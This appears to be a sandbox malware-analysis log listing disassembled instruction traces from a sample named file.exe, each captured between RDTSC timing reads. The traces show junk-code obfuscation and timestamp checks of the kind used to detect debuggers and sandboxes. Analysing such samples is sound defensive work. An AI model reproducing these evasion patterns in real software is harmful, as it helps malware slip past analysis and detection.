Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902EA second address: 4E9032C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5DA4F03E9Dh 0x00000013 or al, FFFFFF86h 0x00000016 jmp 00007F5DA4F03EA1h 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E704AA second address: 4E70536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F5DA5418061h 0x00000010 mov ax, 2F17h 0x00000014 pop esi 0x00000015 pushfd 0x00000016 jmp 00007F5DA541805Dh 0x0000001b and si, D246h 0x00000020 jmp 00007F5DA5418061h 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 push esi 0x0000002a mov ax, di 0x0000002d pop ebx 0x0000002e pushfd 0x0000002f jmp 00007F5DA5418064h 0x00000034 sub si, EA18h 0x00000039 jmp 00007F5DA541805Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ebp, esp 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70536 second address: 4E7053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7053A second address: 4E7053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7053E second address: 4E70544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70544 second address: 4E7056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5DA5418067h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7056C second address: 4E70572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70572 second address: 4E70576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E76 second address: 4E80F0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 8479h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov si, 49B1h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushfd 0x00000018 jmp 00007F5DA4F03E9Bh 0x0000001d adc si, AB1Eh 0x00000022 jmp 00007F5DA4F03EA9h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F5DA4F03E9Ch 0x00000031 sub si, F918h 0x00000036 jmp 00007F5DA4F03E9Bh 0x0000003b popfd 0x0000003c movzx ecx, di 0x0000003f popad 0x00000040 mov ebp, esp 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 pushfd 0x00000046 jmp 00007F5DA4F03EA7h 0x0000004b jmp 00007F5DA4F03EA3h 0x00000050 popfd 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80F0E second address: 4E80F2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b mov ah, 3Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80F2E second address: 4E80F48 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5DA4F03E9Dh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80F48 second address: 4E80F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0851 second address: 4EB0869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4F03E9Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0869 second address: 4EB086F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB086F second address: 4EB0873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0873 second address: 4EB08BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ah, A9h 0x00000012 call 00007F5DA5418067h 0x00000017 pop ecx 0x00000018 popad 0x00000019 mov ecx, edi 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F5DA541805Bh 0x00000023 xchg eax, ecx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 mov eax, 4AD20F91h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08BD second address: 4EB0917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5DA4F03E9Ah 0x0000000c and ecx, 4B3F2CE8h 0x00000012 jmp 00007F5DA4F03E9Bh 0x00000017 popfd 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b push edi 0x0000001c pushfd 0x0000001d jmp 00007F5DA4F03EA2h 0x00000022 or ch, 00000048h 0x00000025 jmp 00007F5DA4F03E9Bh 0x0000002a popfd 0x0000002b pop ecx 0x0000002c mov di, 618Ch 0x00000030 popad 0x00000031 xchg eax, ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 mov cx, 3D89h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0917 second address: 4EB09A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [76FB65FCh] 0x00000010 jmp 00007F5DA5418068h 0x00000015 test eax, eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F5DA541805Eh 0x0000001e and ah, 00000038h 0x00000021 jmp 00007F5DA541805Bh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F5DA5418068h 0x0000002d adc cl, FFFFFF98h 0x00000030 jmp 00007F5DA541805Bh 0x00000035 popfd 0x00000036 popad 0x00000037 je 00007F5E1749B033h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5DA5418065h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09A6 second address: 4EB09B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03E9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09B6 second address: 4EB09E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA5418065h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09E0 second address: 4EB0A7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5DA4F03EA7h 0x00000009 sbb eax, 0B7E21CEh 0x0000000f jmp 00007F5DA4F03EA9h 0x00000014 popfd 0x00000015 call 00007F5DA4F03EA0h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xor eax, dword ptr [ebp+08h] 0x00000021 jmp 00007F5DA4F03E9Eh 0x00000026 and ecx, 1Fh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov ebx, 20D22390h 0x00000031 pushfd 0x00000032 jmp 00007F5DA4F03EA9h 0x00000037 add eax, 1B736E16h 0x0000003d jmp 00007F5DA4F03EA1h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A7E second address: 4EB0ADA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5DA5418067h 0x00000009 or si, 374Eh 0x0000000e jmp 00007F5DA5418069h 0x00000013 popfd 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 ror eax, cl 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5DA5418069h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0ADA second address: 4EB0B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, CBC2h 0x00000007 call 00007F5DA4F03EA3h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 leave 0x00000011 jmp 00007F5DA4F03E9Fh 0x00000016 retn 0004h 0x00000019 nop 0x0000001a mov esi, eax 0x0000001c lea eax, dword ptr [ebp-08h] 0x0000001f xor esi, dword ptr [00B52014h] 0x00000025 push eax 0x00000026 push eax 0x00000027 push eax 0x00000028 lea eax, dword ptr [ebp-10h] 0x0000002b push eax 0x0000002c call 00007F5DA92A48E1h 0x00000031 push FFFFFFFEh 0x00000033 jmp 00007F5DA4F03EA6h 0x00000038 pop eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push ebx 0x0000003d pop eax 0x0000003e push edx 0x0000003f pop eax 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B2C second address: 4EB0B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F5DA97B8AD2h 0x00000011 mov edi, edi 0x00000013 jmp 00007F5DA5418060h 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov edx, 0E8E1560h 0x00000021 mov si, di 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6002A second address: 4E600AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F5DA4F03EA0h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov al, A6h 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 push esi 0x00000019 pushfd 0x0000001a jmp 00007F5DA4F03EA1h 0x0000001f or si, 9CC6h 0x00000024 jmp 00007F5DA4F03EA1h 0x00000029 popfd 0x0000002a pop esi 0x0000002b pushfd 0x0000002c jmp 00007F5DA4F03EA1h 0x00000031 add ax, F626h 0x00000036 jmp 00007F5DA4F03EA1h 0x0000003b popfd 0x0000003c popad 0x0000003d and esp, FFFFFFF8h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600AB second address: 4E600B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600B1 second address: 4E600B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600B9 second address: 4E60121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ecx 0x00000008 jmp 00007F5DA5418068h 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F5DA5418061h 0x00000015 xor cx, A796h 0x0000001a jmp 00007F5DA5418061h 0x0000001f popfd 0x00000020 call 00007F5DA5418060h 0x00000025 pushad 0x00000026 popad 0x00000027 pop esi 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ebx, ecx 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60121 second address: 4E60195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 69h 0x00000005 mov di, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F5DA4F03EA4h 0x00000011 push eax 0x00000012 jmp 00007F5DA4F03E9Bh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 movzx ecx, di 0x0000001c call 00007F5DA4F03EA1h 0x00000021 call 00007F5DA4F03EA0h 0x00000026 pop ecx 0x00000027 pop edi 0x00000028 popad 0x00000029 mov ebx, dword ptr [ebp+10h] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f movsx ebx, si 0x00000032 call 00007F5DA4F03EA4h 0x00000037 pop esi 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60195 second address: 4E601CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F5DA5418060h 0x0000000f push eax 0x00000010 pushad 0x00000011 push edi 0x00000012 mov cx, 3CF3h 0x00000016 pop ecx 0x00000017 mov bh, 74h 0x00000019 popad 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e movsx edx, ax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601CC second address: 4E6020D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov esi, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b push esi 0x0000000c push edi 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 xchg eax, edi 0x00000014 jmp 00007F5DA4F03EA0h 0x00000019 push eax 0x0000001a pushad 0x0000001b mov cx, dx 0x0000001e mov esi, edi 0x00000020 popad 0x00000021 xchg eax, edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5DA4F03EA2h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6020D second address: 4E60259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5DA5418061h 0x00000009 sbb esi, 4332C6A6h 0x0000000f jmp 00007F5DA5418061h 0x00000014 popfd 0x00000015 mov ch, 49h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F5DA5418066h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60259 second address: 4E6026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03E9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6026B second address: 4E602F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5E174E63F8h 0x0000000e jmp 00007F5DA5418067h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a pushad 0x0000001b mov eax, 0FA846ABh 0x00000020 movzx eax, di 0x00000023 popad 0x00000024 je 00007F5E174E63E0h 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F5DA5418069h 0x00000031 sbb ch, 00000026h 0x00000034 jmp 00007F5DA5418061h 0x00000039 popfd 0x0000003a popad 0x0000003b mov edx, dword ptr [esi+44h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F5DA5418068h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602F5 second address: 4E60350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov bx, cx 0x0000000f pushfd 0x00000010 jmp 00007F5DA4F03EA0h 0x00000015 and esi, 417A1B58h 0x0000001b jmp 00007F5DA4F03E9Bh 0x00000020 popfd 0x00000021 popad 0x00000022 test edx, 61000000h 0x00000028 jmp 00007F5DA4F03EA6h 0x0000002d jne 00007F5E16FD21DAh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60350 second address: 4E60354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60354 second address: 4E6035A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6035A second address: 4E603CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5DA5418062h 0x00000009 and eax, 7FE6E018h 0x0000000f jmp 00007F5DA541805Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5DA5418068h 0x0000001b add ax, 4A78h 0x00000020 jmp 00007F5DA541805Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 test byte ptr [esi+48h], 00000001h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F5DA5418065h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E508AF second address: 4E508D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5DA4F03E9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E508D4 second address: 4E5094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5DA5418061h 0x00000008 pop esi 0x00000009 movsx edi, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5DA5418066h 0x00000017 xor ch, FFFFFFE8h 0x0000001a jmp 00007F5DA541805Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F5DA5418068h 0x00000026 sbb eax, 76DD3A48h 0x0000002c jmp 00007F5DA541805Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5094B second address: 4E5094F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5094F second address: 4E50955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50955 second address: 4E5095C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5095C second address: 4E509B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 and esp, FFFFFFF8h 0x0000000a pushad 0x0000000b mov ax, 8AFDh 0x0000000f pushfd 0x00000010 jmp 00007F5DA541805Ah 0x00000015 add ch, FFFFFFD8h 0x00000018 jmp 00007F5DA541805Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F5DA541805Bh 0x00000029 xor ax, D29Eh 0x0000002e jmp 00007F5DA5418069h 0x00000033 popfd 0x00000034 mov di, cx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509B9 second address: 4E50A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03EA3h 0x00000008 pushfd 0x00000009 jmp 00007F5DA4F03EA8h 0x0000000e add ah, FFFFFFF8h 0x00000011 jmp 00007F5DA4F03E9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F5DA4F03EA9h 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F5DA4F03E9Eh 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F5DA4F03EA7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A3D second address: 4E50A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov eax, ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A4C second address: 4E50AC5 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov di, 59E2h 0x0000000b mov esi, edx 0x0000000d popad 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5DA4F03E9Bh 0x00000017 add esi, 511882DEh 0x0000001d jmp 00007F5DA4F03EA9h 0x00000022 popfd 0x00000023 mov ah, D9h 0x00000025 popad 0x00000026 mov esi, dword ptr [ebp+08h] 0x00000029 jmp 00007F5DA4F03EA3h 0x0000002e sub ebx, ebx 0x00000030 pushad 0x00000031 mov eax, edx 0x00000033 pushad 0x00000034 mov bl, 8Eh 0x00000036 mov cx, 907Fh 0x0000003a popad 0x0000003b popad 0x0000003c test esi, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F5DA4F03EA1h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50AC5 second address: 4E50B15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5E174ED90Ah 0x0000000f jmp 00007F5DA541805Eh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b jmp 00007F5DA5418060h 0x00000020 mov ecx, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F5DA541805Ah 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B15 second address: 4E50B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B19 second address: 4E50B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B1F second address: 4E50B63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5E16FD9708h 0x0000000f jmp 00007F5DA4F03EA0h 0x00000014 test byte ptr [76FB6968h], 00000002h 0x0000001b pushad 0x0000001c jmp 00007F5DA4F03E9Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 mov si, C7F7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B63 second address: 4E50B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F5E174ED898h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B80 second address: 4E50B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B84 second address: 4E50B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B88 second address: 4E50B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B8E second address: 4E50B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B94 second address: 4E50B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B98 second address: 4E50C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F5DA5418060h 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F5DA541805Dh 0x0000001d jmp 00007F5DA541805Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F5DA5418068h 0x00000029 add si, 1508h 0x0000002e jmp 00007F5DA541805Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
